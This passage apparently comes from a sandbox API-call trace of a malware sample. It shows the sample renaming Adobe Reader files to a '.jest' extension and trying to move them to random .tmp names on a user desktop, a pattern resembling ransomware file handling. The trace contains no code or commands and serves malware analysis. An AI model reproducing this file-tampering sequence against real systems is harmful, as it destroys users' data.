(x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned 54 [0151.509] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜獩穥潭⹩瑨⹭敪瑳") returned 0x3a [0151.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=58, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0151.509] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜獩穥潭⹩瑨⹭敪瑳") returned 0x3a [0151.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=59, lpWideCharStr=0x14cf144, cchWideChar=117 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.jest") returned 59 [0151.510] VarBstrFromR4 (in: fltIn=0x47945099, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.2") returned 0x0 [0151.510] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.510] CoFreeUnusedLibraries () [0151.510] GetTickCount () returned 0x1157a4f [0151.510] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.510] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.510] GetTickCount () returned 0x1157a4f [0151.510] IsWindowVisible (hWnd=0x30268) returned 0 [0151.511] Sleep (dwMilliseconds=0x0) [0151.512] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y UgzOeY_BAg5EJn45e0zllHPVONsEtY9xNI_gc-RU3ftM1h-Ny6DhC9NEqNyjNaeUVoGK3JZiVM-oaWDCuCckAH1qYvmJE5ecSg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y ugzoey_bag5ejn45e0zllhpvonsety9xni_gc-ru3ftm1h-ny6dhc9neqnyjnaeuvogk3jzivm-oawdcucckah1qyvmje5ecsg.tmp")) returned 0 [0151.512] GetLastError () returned 0x2 [0151.518] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.518] CoFreeUnusedLibraries () [0151.518] GetTickCount () returned 0x1157a5e [0151.518] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.518] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.518] GetTickCount () returned 0x1157a5e [0151.519] IsWindowVisible (hWnd=0x30268) returned 0 [0151.519] Sleep (dwMilliseconds=0x0) [0151.519] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf.jest")) returned 1 [0151.520] GetLastError () returned 0x0 [0151.520] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳潗摲⹳摰f") returned 0x55 [0151.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=85, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0151.520] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳潗摲⹳摰f") returned 0x55 [0151.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=86, lpWideCharStr=0x1467bd4, cchWideChar=171 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf") returned 86 [0151.520] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳潗摲⹳摰⹦敪瑳") returned 0x5a [0151.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=90, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0151.520] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳潗摲⹳摰⹦敪瑳") returned 0x5a [0151.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=91, lpWideCharStr=0x144ebf4, cchWideChar=181 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.jest") returned 91 [0151.520] VarBstrFromR4 (in: fltIn=0x4794509b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.21") returned 0x0 [0151.521] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.521] CoFreeUnusedLibraries () [0151.521] GetTickCount () returned 0x1157a5e [0151.521] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.521] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.521] GetTickCount () returned 0x1157a5e [0151.521] IsWindowVisible (hWnd=0x30268) returned 0 [0151.521] Sleep (dwMilliseconds=0x0) [0151.522] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IrQg5ni60guFC3qW-DutPfnCmSXS7hz7zQ gJO2x1eeT4MbquoHsKocogZWojkpZ6cGPVpqeuMAdlvUrvXPTOUVobbtnEGTivCTau.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\irqg5ni60gufc3qw-dutpfncmsxs7hz7zq gjo2x1eet4mbquohskocogzwojkpz6cgpvpqeumadlvurvxptouvobbtnegtivctau.tmp")) returned 0 [0151.522] GetLastError () returned 0x2 [0151.523] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.523] CoFreeUnusedLibraries () [0151.523] GetTickCount () returned 0x1157a5e [0151.523] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.523] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.523] GetTickCount () returned 0x1157a5e [0151.523] IsWindowVisible (hWnd=0x30268) returned 0 [0151.523] Sleep (dwMilliseconds=0x0) [0151.523] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm.jest")) returned 1 [0151.524] GetLastError () returned 0x0 [0151.524] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䍥⹔瑨m") returned 0x35 [0151.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0151.524] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䍥⹔瑨m") returned 0x35 [0151.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=54, lpWideCharStr=0x144ebf4, cchWideChar=107 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned 54 [0151.525] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䍥⹔瑨⹭敪瑳") returned 0x3a [0151.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=58, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0151.525] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥䵤䍥⹔瑨⹭敪瑳") returned 0x3a [0151.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=59, lpWideCharStr=0x144eaec, cchWideChar=117 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.jest") returned 59 [0151.525] VarBstrFromR4 (in: fltIn=0x4794509b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.21") returned 0x0 [0151.525] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.525] CoFreeUnusedLibraries () [0151.525] GetTickCount () returned 0x1157a5e [0151.525] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.525] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.525] GetTickCount () returned 0x1157a5e [0151.526] IsWindowVisible (hWnd=0x30268) returned 0 [0151.526] Sleep (dwMilliseconds=0x0) [0151.526] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M7UXLlPDftZ7e3zO6NUqoou22D67M-y7aq27CIW uDcI7wLCtYsJT-_JweMqLS7tky6_3HrbpYJQwFT3x7DLz_XpXl-U5NIslk09.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m7uxllpdftz7e3zo6nuqoou22d67m-y7aq27ciw udci7wlctysjt-_jwemqls7tky6_3hrbpyjqwft3x7dlz_xpxl-u5nislk09.tmp")) returned 0 [0151.526] GetLastError () returned 0x2 [0151.527] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.527] CoFreeUnusedLibraries () [0151.527] GetTickCount () returned 0x1157a5e [0151.527] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.527] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.527] GetTickCount () returned 0x1157a5e [0151.527] IsWindowVisible (hWnd=0x30268) returned 0 [0151.527] Sleep (dwMilliseconds=0x0) [0151.528] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm.jest")) returned 1 [0151.529] GetLastError () returned 0x0 [0151.529] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜杩楴瑧栮浴") returned 0x34 [0151.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0151.529] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜杩楴瑧栮浴") returned 0x34 [0151.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=53, lpWideCharStr=0x14cf144, cchWideChar=105 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned 53 [0151.529] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜杩楴瑧栮浴樮獥t") returned 0x39 [0151.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0151.529] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮噜杩楴瑧栮浴樮獥t") returned 0x39 [0151.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=58, lpWideCharStr=0x146c82c, cchWideChar=115 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.jest") returned 58 [0151.530] VarBstrFromR4 (in: fltIn=0x4794509b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.21") returned 0x0 [0151.530] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.530] CoFreeUnusedLibraries () [0151.530] GetTickCount () returned 0x1157a5e [0151.530] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.530] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.530] GetTickCount () returned 0x1157a5e [0151.530] IsWindowVisible (hWnd=0x30268) returned 0 [0151.530] Sleep (dwMilliseconds=0x0) [0151.531] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CHx3UV-j9alvCcfscp0mmXyJsAKQlvGULi9lqo7bZ3IRHYZlXSqfc5-2RKrjr3tnpbCK_6CWOiIQKozxNSlR8-U6lBU_HB0_fQ2bs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chx3uv-j9alvccfscp0mmxyjsakqlvguli9lqo7bz3irhyzlxsqfc5-2rkrjr3tnpbck_6cwoiiqkozxnslr8-u6lbu_hb0_fq2bs.tmp")) returned 0 [0151.531] GetLastError () returned 0x2 [0151.531] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.531] CoFreeUnusedLibraries () [0151.531] GetTickCount () returned 0x1157a6e [0151.532] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.532] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.532] GetTickCount () returned 0x1157a6e [0151.532] IsWindowVisible (hWnd=0x30268) returned 0 [0151.532] Sleep (dwMilliseconds=0x0) [0151.533] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm.jest")) returned 1 [0151.534] GetLastError () returned 0x0 [0151.534] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敥䵳橩栮浴") returned 0x34 [0151.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0151.534] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敥䵳橩栮浴") returned 0x34 [0151.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=53, lpWideCharStr=0x144eaec, cchWideChar=105 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned 53 [0151.534] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敥䵳橩栮浴樮獥t") returned 0x39 [0151.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0151.534] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敥䵳橩栮浴樮獥t") returned 0x39 [0151.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=58, lpWideCharStr=0x144ddec, cchWideChar=115 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.jest") returned 58 [0151.535] VarBstrFromR4 (in: fltIn=0x4794509d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.23") returned 0x0 [0151.535] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.535] CoFreeUnusedLibraries () [0151.535] GetTickCount () returned 0x1157a6e [0151.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.535] GetTickCount () returned 0x1157a6e [0151.535] IsWindowVisible (hWnd=0x30268) returned 0 [0151.535] Sleep (dwMilliseconds=0x0) [0151.536] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mZwKKn4-skOOAm0p32nhbqH_i-HstuMHK2OOvgEns9vlIlq2vRJmLCf0Y9XMiPbQ7CYSeriiwPPqsWMR65N8WsYxDqpNYjmEqfE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mzwkkn4-skooam0p32nhbqh_i-hstumhk2oovgens9vlilq2vrjmlcf0y9xmipbq7cyseriiwppqswmr65n8wsyxdqpnyjmeqfe.tmp")) returned 0 [0151.536] GetLastError () returned 0x2 [0151.537] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.537] CoFreeUnusedLibraries () [0151.537] GetTickCount () returned 0x1157a6e [0151.537] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.537] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.537] GetTickCount () returned 0x1157a6e [0151.537] IsWindowVisible (hWnd=0x30268) returned 0 [0151.537] Sleep (dwMilliseconds=0x0) [0151.537] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm.jest")) returned 1 [0151.539] GetLastError () returned 0x0 [0151.539] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜来楧業栮浴") returned 0x34 [0151.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=52, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0151.539] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜来楧業栮浴") returned 0x34 [0151.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=53, lpWideCharStr=0x1467bd4, cchWideChar=105 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned 53 [0151.539] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜来楧業栮浴樮獥t") returned 0x39 [0151.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0151.539] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜来楧業栮浴樮獥t") returned 0x39 [0151.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=58, lpWideCharStr=0x1445ffc, cchWideChar=115 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.jest") returned 58 [0151.539] VarBstrFromR4 (in: fltIn=0x4794509d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.23") returned 0x0 [0151.539] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.540] CoFreeUnusedLibraries () [0151.540] GetTickCount () returned 0x1157a6e [0151.540] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.540] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.540] GetTickCount () returned 0x1157a6e [0151.540] IsWindowVisible (hWnd=0x30268) returned 0 [0151.540] Sleep (dwMilliseconds=0x0) [0151.541] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g8ZgF4VhMyFSPew8YXlQM49y s5joqXrnS1b_er6eOAvxxvW4Y1MgY2W-5pAGiqSMvlUOeQQ6bhq52DtcuLSt6GELOf6roDtlrjEJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g8zgf4vhmyfspew8yxlqm49y s5joqxrns1b_er6eoavxxvw4y1mgy2w-5pagiqsmvluoeqq6bhq52dtculst6gelof6rodtlrjej.tmp")) returned 0 [0151.541] GetLastError () returned 0x2 [0151.541] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.541] CoFreeUnusedLibraries () [0151.542] GetTickCount () returned 0x1157a6e [0151.542] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.542] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.542] GetTickCount () returned 0x1157a6e [0151.542] IsWindowVisible (hWnd=0x30268) returned 0 [0151.542] Sleep (dwMilliseconds=0x0) [0151.542] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm.jest")) returned 1 [0151.543] GetLastError () returned 0x0 [0151.543] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敵楍畮⹴瑨m") returned 0x35 [0151.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0151.543] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敵楍畮⹴瑨m") returned 0x35 [0151.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=54, lpWideCharStr=0x144ddec, cchWideChar=107 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned 54 [0151.543] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敵楍畮⹴瑨⹭敪瑳") returned 0x3a [0151.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=58, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0151.543] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜敵楍畮⹴瑨⹭敪瑳") returned 0x3a [0151.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4b84, cbMultiByte=59, lpWideCharStr=0x146c82c, cchWideChar=117 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.jest") returned 59 [0151.544] VarBstrFromR4 (in: fltIn=0x4794509d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.23") returned 0x0 [0151.544] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.544] CoFreeUnusedLibraries () [0151.544] GetTickCount () returned 0x1157a6e [0151.544] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.544] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.544] GetTickCount () returned 0x1157a6e [0151.544] IsWindowVisible (hWnd=0x30268) returned 0 [0151.544] Sleep (dwMilliseconds=0x0) [0151.545] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 